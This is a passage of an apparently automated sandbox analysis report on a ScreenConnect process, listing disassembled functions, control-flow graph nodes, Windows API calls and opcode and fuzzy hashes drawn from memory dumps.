                                                                                                                APIs
                                                                                                                • CreateFileA.KERNEL32(?,?,?,?,?,00000001,00000004), ref: 05EA3C9D
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CreateFile
                                                                                                                • String ID:
                                                                                                                • API String ID: 823142352-0
                                                                                                                • Opcode ID: 5be117b390a4b820f5a3638353792e89b7756f6a36c2f73b3deeaa0bffb8b979
                                                                                                                • Instruction ID: b7a13509299be815f1ff1ed16bd993e973b270c926b7f65d2d1a42be22347426
                                                                                                                • Opcode Fuzzy Hash: 5be117b390a4b820f5a3638353792e89b7756f6a36c2f73b3deeaa0bffb8b979
                                                                                                                • Instruction Fuzzy Hash: 905167B1D003599FEB10CFA9C885B9EBFF2FB48304F248529E859AB251D7B59841CF91
                                                                                                                Function 05EA3B80 Relevance: 1.6, APIs: 1, Instructions: 116fileCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 409 5ea3b80-5ea3bdc 410 5ea3bde-5ea3c03 409->410 411 5ea3c30-5ea3cb3 CreateFileA 409->411 410->411 414 5ea3c05-5ea3c07 410->414 418 5ea3cbc-5ea3cfa 411->418 419 5ea3cb5-5ea3cbb 411->419 415 5ea3c2a-5ea3c2d 414->415 416 5ea3c09-5ea3c13 414->416 415->411 420 5ea3c17-5ea3c26 416->420 421 5ea3c15 416->421 426 5ea3d0a 418->426 427 5ea3cfc-5ea3d00 418->427 419->418 420->420 422 5ea3c28 420->422 421->420 422->415 429 5ea3d0b 426->429 427->426 428 5ea3d02 427->428 428->426 429->429
                                                                                                                APIs
                                                                                                                • CreateFileA.KERNEL32(?,?,?,?,?,00000001,00000004), ref: 05EA3C9D
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CreateFile
                                                                                                                • String ID:
                                                                                                                • API String ID: 823142352-0
                                                                                                                • Opcode ID: 3aa675d32265727e91dddad9d6dc1d81b730ce14999b274563d1ae6f5144d33d
                                                                                                                • Instruction ID: 908b46b1805bd74f737e4590f73879017a918dde67d654b3cad98a127fae5d53
                                                                                                                • Opcode Fuzzy Hash: 3aa675d32265727e91dddad9d6dc1d81b730ce14999b274563d1ae6f5144d33d
                                                                                                                • Instruction Fuzzy Hash: 154166B1D003589FEB10CFA9C884B9EBFF2FB48304F248529E859AB251D7B59841CF91
                                                                                                                Function 05EA2278 Relevance: 1.6, APIs: 1, Instructions: 93processCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 454 5ea2278-5ea22d1 455 5ea22dc-5ea22e0 454->455 456 5ea22d3-5ea22d9 454->456 457 5ea22e8-5ea22fd 455->457 458 5ea22e2-5ea22e5 455->458 456->455 459 5ea230b-5ea2362 CreateProcessAsUserW 457->459 460 5ea22ff-5ea2308 457->460 458->457 461 5ea236b-5ea2393 459->461 462 5ea2364-5ea236a 459->462 460->459 462->461
                                                                                                                APIs
                                                                                                                • CreateProcessAsUserW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 05EA234F
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CreateProcessUser
                                                                                                                • String ID:
                                                                                                                • API String ID: 2217836671-0
                                                                                                                • Opcode ID: f79d6fed5ec4476af0f87a2bac8027e93463cb06273e41cbc768c384c9f92cef
                                                                                                                • Instruction ID: a99ed8ff261cb4213bea8097ad8a109228b376d40fcb648d67a7d4cce5bcb2a5
                                                                                                                • Opcode Fuzzy Hash: f79d6fed5ec4476af0f87a2bac8027e93463cb06273e41cbc768c384c9f92cef
                                                                                                                • Instruction Fuzzy Hash: 4C41477690024ADFDF10CFA9C880ADEBBF2FF48314F05852AE958AB250D374A955CF50
                                                                                                                Function 05EACEE0 Relevance: 1.6, APIs: 1, Instructions: 91registryCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 476 5eacee0-5eacf6b 482 5eacf7c-5eacf94 476->482 483 5eacf6d-5eacf7a call 5ea0134 476->483 485 5ead056-5ead05e call 5ea0128 482->485 483->482 488 5eacf99-5eacfc8 RegDisablePredefinedCache 483->488 492 5ead05f 485->492 490 5eacfca-5eacfd0 488->490 491 5eacfd1-5eacfec call 5eac9a8 488->491 490->491 496 5eacff1-5ead00d 491->496 492->492 499 5ead018 496->499 500 5ead00f 496->500 499->485 500->499
                                                                                                                APIs
                                                                                                                • RegDisablePredefinedCache.ADVAPI32 ref: 05EACFB1
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CacheDisablePredefined
                                                                                                                • String ID:
                                                                                                                • API String ID: 1885667121-0
                                                                                                                • Opcode ID: 3b5199f230b37043f01054ee9dc8e6fb8b406bd819251e2a79a5bf3c72bb42c9
                                                                                                                • Instruction ID: e0c41844ac526adcb00e5808ad597872c18f8ccbdd65a5f1d355b534fe976649
                                                                                                                • Opcode Fuzzy Hash: 3b5199f230b37043f01054ee9dc8e6fb8b406bd819251e2a79a5bf3c72bb42c9
                                                                                                                • Instruction Fuzzy Hash: 19314871E00248DFEB14DFA5D984BDEBBB2AF88314F149429E449BB350DB746845CF51
                                                                                                                Function 048719C0 Relevance: 1.6, Strings: 1, Instructions: 316COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 501 48719c0-4871a07 504 4871a3a-4871a3e 501->504 505 4871a09-4871a34 501->505 506 4871a71-4871a75 504->506 507 4871a40-4871a6b 504->507 505->504 508 4871a77-4871a85 506->508 509 4871a8b-4871a8f 506->509 507->506 508->509 511 4871a91-4871ab5 509->511 512 4871abb-4871b4d 509->512 511->512 518 4871b82-4871b86 512->518 519 4871b4f-4871b7c 512->519 520 4871ba2-4871ba6 518->520 521 4871b88-4871b9c 518->521 519->518 524 4871bc2-4871bc6 520->524 525 4871ba8-4871bbc 520->525 521->520 527 4871be2-4871be6 524->527 528 4871bc8-4871bdc 524->528 525->524 529 4871bfc-4871c00 527->529 530 4871be8-4871bf6 527->530 528->527 533 4871c16-4871c1a 529->533 534 4871c02-4871c10 529->534 530->529 535 4871c30-4871c34 533->535 536 4871c1c-4871c2a 533->536 534->533 537 4871c36-4871c44 535->537 538 4871c4a-4871c4e 535->538 536->535 537->538 539 4871c81-4871c85 538->539 540 4871c50-4871c7b 538->540 541 4871c87-4871c95 539->541 542 4871cd1-4871cd8 539->542 540->539 541->542 544 4871c97 541->544 545 4871c9a-4871c9f 544->545 547 4871ca1-4871cb2 545->547 548 4871cd9-4871d59 545->548 549 4871cb4-4871cb7 547->549 550 4871cbd-4871ccf 547->550 560 4871d9c-4871d9d 548->560 561 4871d5b-4871d71 548->561 549->550 550->542 550->545 562 4871da8-4871dad 560->562 564 4871d73 561->564 565 4871d7a-4871d9a 561->565 564->565 565->560
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: d
                                                                                                                • API String ID: 0-2564639436
                                                                                                                • Opcode ID: 167523f80a5b90572e0e4a152610574d2695e526adb4693dc3cca8be0353f6d8
                                                                                                                • Instruction ID: 11fd4530a3494d78ac215a4d8a04a2671e41c35f86f32a99367e768cff7d7a24
                                                                                                                • Opcode Fuzzy Hash: 167523f80a5b90572e0e4a152610574d2695e526adb4693dc3cca8be0353f6d8
                                                                                                                • Instruction Fuzzy Hash: C6D15C74A00719CFCB04DF68D898A99B7B6FF89314B118659E909AB365DB30FC84CF90
                                                                                                                Function 05EA2478 Relevance: 1.6, APIs: 1, Instructions: 59pipeCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 568 5ea2478-5ea2ac8 570 5ea2aca-5ea2acd 568->570 571 5ea2ad0-5ea2b02 WaitNamedPipeW 568->571 570->571 572 5ea2b0b-5ea2b33 571->572 573 5ea2b04-5ea2b0a 571->573 573->572
                                                                                                                APIs
                                                                                                                • WaitNamedPipeW.KERNEL32(00000000,0000000A,?,?,?,?,?,?,?,05EA2A46), ref: 05EA2AEF
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: NamedPipeWait
                                                                                                                • String ID:
                                                                                                                • API String ID: 3146367894-0
                                                                                                                • Opcode ID: 4f0cce709d2e8567ee6a6585e5f004cf6a40a0e0b713943b5ccc8aebfc28f078
                                                                                                                • Instruction ID: e199b390af6032b7fb0791c1ef1dbb878b2fe35e9f62b085025292560002c33f
                                                                                                                • Opcode Fuzzy Hash: 4f0cce709d2e8567ee6a6585e5f004cf6a40a0e0b713943b5ccc8aebfc28f078
                                                                                                                • Instruction Fuzzy Hash: C5213776C042498FDB20CF9AC444BEEBBB4EB48314F108429D559BB200C378A545CFA1
                                                                                                                Function 05EA2A83 Relevance: 1.6, APIs: 1, Instructions: 57pipeCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 576 5ea2a83-5ea2ac8 578 5ea2aca-5ea2acd 576->578 579 5ea2ad0-5ea2b02 WaitNamedPipeW 576->579 578->579 580 5ea2b0b-5ea2b33 579->580 581 5ea2b04-5ea2b0a 579->581 581->580
                                                                                                                APIs
                                                                                                                • WaitNamedPipeW.KERNEL32(00000000,0000000A,?,?,?,?,?,?,?,05EA2A46), ref: 05EA2AEF
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: NamedPipeWait
                                                                                                                • String ID:
                                                                                                                • API String ID: 3146367894-0
                                                                                                                • Opcode ID: 007282d85dedf30e681a5c87ba2ab4466f90bd03bd4630bb43c3663790d80012
                                                                                                                • Instruction ID: ac8422868f73484cf2810b071fc835a1294f569a2c27c25fbf2df3e3b05c4f0b
                                                                                                                • Opcode Fuzzy Hash: 007282d85dedf30e681a5c87ba2ab4466f90bd03bd4630bb43c3663790d80012
                                                                                                                • Instruction Fuzzy Hash: 112115B68002498FDB24CF9AC484BDEBBB4EB88314F158429D559BB640C379A545CFA1
                                                                                                                Function 048732A0 Relevance: .2, Instructions: 250COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6162b1ca37b7e2d7e08649631e2f7dc160607c7d927464dd834a45e87f2823a6
                                                                                                                • Instruction ID: 27662a981f92c63683aab91efd0446ab226a31fe7dd3a8e3f15cf7c7dc2316c0
                                                                                                                • Opcode Fuzzy Hash: 6162b1ca37b7e2d7e08649631e2f7dc160607c7d927464dd834a45e87f2823a6
                                                                                                                • Instruction Fuzzy Hash: F4A1DF306007459FE752EF78D86069EFBE1BF99204B008A28C549AB351DB71FD088BD6
                                                                                                                Function 04873F08 Relevance: .2, Instructions: 242COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 66d9526a0fed2c747ff2921e3e98c43290e8299126a906b7c90b6a7542ac3c1f
                                                                                                                • Instruction ID: 48aeeba7fed549ab6103a8bf82808c34b854601978715176f6a8c50e7f6c2a0c
                                                                                                                • Opcode Fuzzy Hash: 66d9526a0fed2c747ff2921e3e98c43290e8299126a906b7c90b6a7542ac3c1f
                                                                                                                • Instruction Fuzzy Hash: D491A235B002068FEB05EFA8C8646AEF7B2FFC8654B148A29D505EB355DB71FC058B91
                                                                                                                Function 048732F0 Relevance: .2, Instructions: 211COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4411b2148364cdd2ceccac112bb73b4586dae0f52fb57cf1ea9922d3c64fa30b
                                                                                                                • Instruction ID: 36c9ff375885823933bcf404ef0c54c3cc55984bcfc607c2b3ec3488af6f25e7
                                                                                                                • Opcode Fuzzy Hash: 4411b2148364cdd2ceccac112bb73b4586dae0f52fb57cf1ea9922d3c64fa30b
                                                                                                                • Instruction Fuzzy Hash: F7816E306007459FD756EF79D85069EF7E2FF98344B008A28C50AAB754DB71F9088BD6
                                                                                                                Function 04876998 Relevance: .2, Instructions: 207COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f0e522642b75005a664186cd486bd5220c5628b41d45501d40e23416f0b7b1c0
                                                                                                                • Instruction ID: 19f77a8208b8b5aa509426bb3a31cbd0a5f1a0a33e17c56d42ca6408c8d61fa7
                                                                                                                • Opcode Fuzzy Hash: f0e522642b75005a664186cd486bd5220c5628b41d45501d40e23416f0b7b1c0
                                                                                                                • Instruction Fuzzy Hash: 0A71C231B006058FDB05EF78D854A9EBBF6FF89224B14856AD605EB361EB31EC058B91
                                                                                                                Function 048711F8 Relevance: .2, Instructions: 205COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 751416c960a5f7d77420c8a01b1e2a96a9d566b5f0530d3a104beff0dc731f85
                                                                                                                • Instruction ID: 096aca00bbdcd278afce2146e9df134ba7d999ea92fce541b8e3f062319d3812
                                                                                                                • Opcode Fuzzy Hash: 751416c960a5f7d77420c8a01b1e2a96a9d566b5f0530d3a104beff0dc731f85
                                                                                                                • Instruction Fuzzy Hash: C0619231F002198BEB14DFB9C4646EEB7B6AF88744F148629E506FB380DF35AD428791
                                                                                                                Function 04875A68 Relevance: .2, Instructions: 154COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 07488216f27a309a79afa8a15855145123ff8a75d05378a0f9572479cc1aa5d2
                                                                                                                • Instruction ID: 2f78c5e048541641427805a4a41a3a606314c563e8d3c748bd5fac2d6f386655
                                                                                                                • Opcode Fuzzy Hash: 07488216f27a309a79afa8a15855145123ff8a75d05378a0f9572479cc1aa5d2
                                                                                                                • Instruction Fuzzy Hash: 725101307003429FE711AB78E8A4A6EB7A2EBC4700B14CA29C546DF785EF71EC4587C2
                                                                                                                Function 048748B0 Relevance: .1, Instructions: 147COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 63641b7d4c92cbf08703877a86105f37eab16c6f8b7b0b8112a4d51e2133b662
                                                                                                                • Instruction ID: aaaf833607f054217d90bdc69a485f17b4d7d4b5996b37af84ad1092fc9f9847
                                                                                                                • Opcode Fuzzy Hash: 63641b7d4c92cbf08703877a86105f37eab16c6f8b7b0b8112a4d51e2133b662
                                                                                                                • Instruction Fuzzy Hash: 6E51F5307007068FDB24DF29D894A5AF7F2FF89614B148B19E59ADB765EB30F8058B90
                                                                                                                Function 04875A40 Relevance: .1, Instructions: 147COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f5a3d9376c31186fabcae686adde2ec12f85d52173095fa87b0bc503f673564d
                                                                                                                • Instruction ID: 7c17441f24e25b3aa94e031a5eb3781445341fb26fe0d0e4339fa2a05e36a9ce
                                                                                                                • Opcode Fuzzy Hash: f5a3d9376c31186fabcae686adde2ec12f85d52173095fa87b0bc503f673564d
                                                                                                                • Instruction Fuzzy Hash: 995105307013829FE712AB39986466EBBA2AFC5700718CA2AC455DF781EF71EC45C7C2
                                                                                                                Function 04876558 Relevance: .1, Instructions: 130COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ca0c33a58c4d6f100bfd5b6fc45a0c2c0d4d74af27999692ed3a2d6cb6a7b3ba
                                                                                                                • Instruction ID: 7ec42100eead730d9b7fdb2abee3df623e37dce1b899c70d73eb88bf4d69041e
                                                                                                                • Opcode Fuzzy Hash: ca0c33a58c4d6f100bfd5b6fc45a0c2c0d4d74af27999692ed3a2d6cb6a7b3ba
                                                                                                                • Instruction Fuzzy Hash: 5841D670600B058FDB34DF29D894626B7F2BF89224B544B1CD596EB6A4EB30F806CB80
                                                                                                                Function 048711F0 Relevance: .1, Instructions: 122COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2eafab69554511288f766f7ed63055c8bdf3476aeb97ead3005f36f21e00db13
                                                                                                                • Instruction ID: 6b4e1baf644e4e15a726394b7986f43baa21073a1fdaa1c144ebb4bf394fde30
                                                                                                                • Opcode Fuzzy Hash: 2eafab69554511288f766f7ed63055c8bdf3476aeb97ead3005f36f21e00db13
                                                                                                                • Instruction Fuzzy Hash: 32414331E002199BDB15DFA9C894BDEBBB6EF88700F148629E805F7740DB74AD46CB90
                                                                                                                Function 04875F28 Relevance: .1, Instructions: 117COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6470c27eff96ebce16a249e451ba591837e0209f0e3bfaf5bac17b9dc6f8cf99
                                                                                                                • Instruction ID: 6fb94eca25de574c3a774a89833941cd801f4ac2273c1b0a0f285ec3771c3593
                                                                                                                • Opcode Fuzzy Hash: 6470c27eff96ebce16a249e451ba591837e0209f0e3bfaf5bac17b9dc6f8cf99
                                                                                                                • Instruction Fuzzy Hash: A1413D707007058FD724DF29C494A1AB7F2BF89354B144B58D496EB795EB31F846CB90
                                                                                                                Function 04876813 Relevance: .1, Instructions: 113COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d0cce8231965eca01155a3f4a4b252ac7e879921fe6f3b938ba2aa577db28e72
                                                                                                                • Instruction ID: 2e47cd58391fe3fb2d766133f3ad52dc6e758aca0f74db55710cb61d19627f15
                                                                                                                • Opcode Fuzzy Hash: d0cce8231965eca01155a3f4a4b252ac7e879921fe6f3b938ba2aa577db28e72
                                                                                                                • Instruction Fuzzy Hash: 4531F031A052888FDB15DB78C464A9DBFF2AF4A310F0645A9D045EB372DA38EC05CB61
                                                                                                                Function 048746E0 Relevance: .1, Instructions: 106COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 145e15086ab6e9a20467b75ca2f976a9c902b5a7452746af8411f38547431e40
                                                                                                                • Instruction ID: 32eba6c6d35e689a722f99649481847d36fb24543baeecd01c1e9cb103ac7e07
                                                                                                                • Opcode Fuzzy Hash: 145e15086ab6e9a20467b75ca2f976a9c902b5a7452746af8411f38547431e40
                                                                                                                • Instruction Fuzzy Hash: E9318575B012098FEB04EFB8C850A6EF7F6EF89654B10896AD519E7305DB70FC048B91
                                                                                                                Function 04877358 Relevance: .1, Instructions: 95COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 25e520967e89095adc5f0ac910e2fccc50a5fc626241567a627034ba1880568c
                                                                                                                • Instruction ID: 8c307107c7c0bcf3c094ea0fdd54abe0e53077ff0d40e08bb104b2d4120cbb40
                                                                                                                • Opcode Fuzzy Hash: 25e520967e89095adc5f0ac910e2fccc50a5fc626241567a627034ba1880568c
                                                                                                                • Instruction Fuzzy Hash: 174102787002058FDB14DF68D89495ABBA2FF88314B148A69E90ACB765DB30FC05CF80
                                                                                                                Function 04877368 Relevance: .1, Instructions: 95COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b9155119f05b40cde38f6ad9e683cad5f5ad1a3bc4a6dda8b648b11e806b0dcf
                                                                                                                • Instruction ID: da87680665240be016dda84c323cf543c292ed7ef653d4c779ef16559f33264a
                                                                                                                • Opcode Fuzzy Hash: b9155119f05b40cde38f6ad9e683cad5f5ad1a3bc4a6dda8b648b11e806b0dcf
                                                                                                                • Instruction Fuzzy Hash: 2D3102387006058FCB14DF69D89896ABBE2FF88714714CA68E91ADB765DB31FC05CB90
                                                                                                                Function 04874AF8 Relevance: .1, Instructions: 92COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ed6f0db1248a33164af148acd3e89805a666e99c454c925767bac75ff8716d19
                                                                                                                • Instruction ID: 4c9b1c85a80b83fdac46edf78e2b24fbcd4c980a8fdb8ad97f6b8fea15aa932b
                                                                                                                • Opcode Fuzzy Hash: ed6f0db1248a33164af148acd3e89805a666e99c454c925767bac75ff8716d19
                                                                                                                • Instruction Fuzzy Hash: 2F31E530600B058FDB34DF69D85866ABBF1AF85711B104B28E466C76E4EB70E948CB91
                                                                                                                Function 04870007 Relevance: .1, Instructions: 80COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b43d89145c680c16640e226829dcb96c3f9dd354086bb972f8f0ce8f92acf0b5
                                                                                                                • Instruction ID: 48a97b970f3b6c4d0a59585ba23dc998be7e157c25364ca4addf2f2ba0fa2bc4
                                                                                                                • Opcode Fuzzy Hash: b43d89145c680c16640e226829dcb96c3f9dd354086bb972f8f0ce8f92acf0b5
                                                                                                                • Instruction Fuzzy Hash: 0431C1706093868FDB02DB79CC509AEBFB1EF8A20474585AAD145EF763D634E8058B92
                                                                                                                Function 04874830 Relevance: .1, Instructions: 78COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
